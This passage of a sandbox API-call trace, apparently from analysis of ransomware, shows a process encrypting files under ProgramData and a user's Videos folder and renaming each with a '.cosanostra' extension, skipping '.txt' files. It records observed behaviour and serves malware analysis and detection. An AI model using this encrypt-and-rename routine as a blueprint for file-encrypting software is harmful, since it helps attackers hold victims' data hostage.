lpOverlapped=0x0) returned 1 [0096.904] CloseHandle (hObject=0x160) returned 1 [0096.904] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra") returned 133 [0096.904] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra")) returned 1 [0096.908] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4b0 | out: pbBuffer=0x26ff4b0) returned 1 [0096.908] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4a8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4a8*=0x30) returned 1 [0096.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\.." (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.908] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4b0 | out: pbBuffer=0x26ff4b0) returned 1 [0096.908] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff4a8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff4a8*=0x30) returned 1 [0096.909] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\." (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.911] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4a0 | out: pbBuffer=0x26ff4a0) returned 1 [0096.911] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff498*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff498*=0x30) returned 1 [0096.911] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\.." (normalized: "c:\\users\\all users\\microsoft\\crypto"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.911] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff4a0 | out: pbBuffer=0x26ff4a0) returned 1 [0096.911] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff498*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff498*=0x30) returned 1 [0096.911] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\." (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.927] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff480 | out: pbBuffer=0x26ff480) returned 1 [0096.927] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff478*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff478*=0x30) returned 1 [0096.928] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.937] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 107 [0096.937] StrStrW (lpFirst="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpSrch=".txt") returned 0x0 [0096.993] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.993] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff43c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff43c*=0x2800, lpOverlapped=0x0) returned 1 [0096.993] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.993] WriteFile (in: hFile=0x138, lpBuffer=0x26ff47c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff43c, lpOverlapped=0x0 | out: lpBuffer=0x26ff47c*, lpNumberOfBytesWritten=0x26ff43c*=0x4, lpOverlapped=0x0) returned 1 [0097.018] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff43c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff43c*=0x30, lpOverlapped=0x0) returned 1 [0097.018] CloseHandle (hObject=0x138) returned 1 [0097.023] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q.cosanostra") returned 118 [0097.023] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q.cosanostra")) returned 1 [0097.024] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff480 | out: pbBuffer=0x26ff480) returned 1 [0097.024] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff478*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff478*=0x30) returned 1 [0097.024] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.025] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D") returned 80 [0097.025] StrStrW (lpFirst="Help_CValidator.H1D", lpSrch=".txt") returned 0x0 [0097.044] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.044] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff43c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff43c*=0x2800, lpOverlapped=0x0) returned 1 [0097.044] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.045] WriteFile (in: hFile=0x180, lpBuffer=0x26ff47c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff43c, lpOverlapped=0x0 | out: lpBuffer=0x26ff47c*, lpNumberOfBytesWritten=0x26ff43c*=0x4, lpOverlapped=0x0) returned 1 [0097.045] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff43c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff43c*=0x30, lpOverlapped=0x0) returned 1 [0097.045] CloseHandle (hObject=0x180) returned 1 [0097.045] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D.cosanostra") returned 91 [0097.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d.cosanostra")) returned 1 [0097.045] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff478 | out: pbBuffer=0x26ff478) returned 1 [0097.046] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff470*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff470*=0x30) returned 1 [0097.046] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.046] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 69 [0097.046] StrStrW (lpFirst="AdbeRdrSecUpd10111.msp", lpSrch=".txt") returned 0x0 [0097.048] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.048] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff434, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff434*=0x2800, lpOverlapped=0x0) returned 1 [0097.048] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.049] WriteFile (in: hFile=0x180, lpBuffer=0x26ff474*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff434, lpOverlapped=0x0 | out: lpBuffer=0x26ff474*, lpNumberOfBytesWritten=0x26ff434*=0x4, lpOverlapped=0x0) returned 1 [0097.056] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff434, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff434*=0x30, lpOverlapped=0x0) returned 1 [0097.056] CloseHandle (hObject=0x180) returned 1 [0097.056] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp.cosanostra") returned 80 [0097.056] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp.cosanostra" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp.cosanostra")) returned 1 [0097.057] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff468 | out: pbBuffer=0x26ff468) returned 1 [0097.057] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff460*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff460*=0x30) returned 1 [0097.057] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\.." (normalized: "c:\\users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.057] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff460 | out: pbBuffer=0x26ff460) returned 1 [0097.057] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff458*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff458*=0x30) returned 1 [0097.057] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\." (normalized: "c:\\users\\all users\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.060] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff450 | out: pbBuffer=0x26ff450) returned 1 [0097.060] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff448*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff448*=0x30) returned 1 [0097.060] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\sGlq1gvoV.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\sglq1gvov.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.061] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\sGlq1gvoV.mp4") returned 75 [0097.061] StrStrW (lpFirst="sGlq1gvoV.mp4", lpSrch=".txt") returned 0x0 [0097.061] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.061] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff40c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff40c*=0x2800, lpOverlapped=0x0) returned 1 [0097.061] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.061] WriteFile (in: hFile=0x180, lpBuffer=0x26ff44c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff40c, lpOverlapped=0x0 | out: lpBuffer=0x26ff44c*, lpNumberOfBytesWritten=0x26ff40c*=0x4, lpOverlapped=0x0) returned 1 [0097.062] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff40c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff40c*=0x30, lpOverlapped=0x0) returned 1 [0097.062] CloseHandle (hObject=0x180) returned 1 [0097.062] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\sGlq1gvoV.mp4.cosanostra") returned 86 [0097.062] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\sGlq1gvoV.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\sglq1gvov.mp4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\sGlq1gvoV.mp4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\sglq1gvov.mp4.cosanostra")) returned 1 [0097.064] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff448 | out: pbBuffer=0x26ff448) returned 1 [0097.064] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff440*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff440*=0x30) returned 1 [0097.064] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\SL9wkQk5yXqqRbN1aN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\sl9wkqk5yxqqrbn1an.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.064] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\SL9wkQk5yXqqRbN1aN.swf") returned 89 [0097.064] StrStrW (lpFirst="SL9wkQk5yXqqRbN1aN.swf", lpSrch=".txt") returned 0x0 [0097.065] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.065] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff404, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff404*=0x2800, lpOverlapped=0x0) returned 1 [0097.065] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.065] WriteFile (in: hFile=0x180, lpBuffer=0x26ff444*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff404, lpOverlapped=0x0 | out: lpBuffer=0x26ff444*, lpNumberOfBytesWritten=0x26ff404*=0x4, lpOverlapped=0x0) returned 1 [0097.065] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff404, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff404*=0x30, lpOverlapped=0x0) returned 1 [0097.065] CloseHandle (hObject=0x180) returned 1 [0097.065] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\SL9wkQk5yXqqRbN1aN.swf.cosanostra") returned 100 [0097.065] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\SL9wkQk5yXqqRbN1aN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\sl9wkqk5yxqqrbn1an.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\SL9wkQk5yXqqRbN1aN.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\sl9wkqk5yxqqrbn1an.swf.cosanostra")) returned 1 [0097.066] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff448 | out: pbBuffer=0x26ff448) returned 1 [0097.066] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff440*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff440*=0x30) returned 1 [0097.066] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\s4wAz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\s4waz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.066] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\s4wAz.avi") returned 76 [0097.066] StrStrW (lpFirst="s4wAz.avi", lpSrch=".txt") returned 0x0 [0097.067] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.067] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff404, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff404*=0x2800, lpOverlapped=0x0) returned 1 [0097.067] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.067] WriteFile (in: hFile=0x180, lpBuffer=0x26ff444*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff404, lpOverlapped=0x0 | out: lpBuffer=0x26ff444*, lpNumberOfBytesWritten=0x26ff404*=0x4, lpOverlapped=0x0) returned 1 [0097.067] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff404, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff404*=0x30, lpOverlapped=0x0) returned 1 [0097.068] CloseHandle (hObject=0x180) returned 1 [0097.068] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\s4wAz.avi.cosanostra") returned 87 [0097.068] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\s4wAz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\s4waz.avi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\s4wAz.avi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\s4waz.avi.cosanostra")) returned 1 [0097.068] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff440 | out: pbBuffer=0x26ff440) returned 1 [0097.068] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff438*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff438*=0x30) returned 1 [0097.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\o6owe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\o6owe.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.069] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\o6owe.avi") returned 76 [0097.069] StrStrW (lpFirst="o6owe.avi", lpSrch=".txt") returned 0x0 [0097.070] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.070] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3fc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff3fc*=0x2800, lpOverlapped=0x0) returned 1 [0097.070] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.070] WriteFile (in: hFile=0x180, lpBuffer=0x26ff43c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3fc, lpOverlapped=0x0 | out: lpBuffer=0x26ff43c*, lpNumberOfBytesWritten=0x26ff3fc*=0x4, lpOverlapped=0x0) returned 1 [0097.071] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff3fc*=0x30, lpOverlapped=0x0) returned 1 [0097.071] CloseHandle (hObject=0x180) returned 1 [0097.071] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\o6owe.avi.cosanostra") returned 87 [0097.071] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\o6owe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\o6owe.avi"), 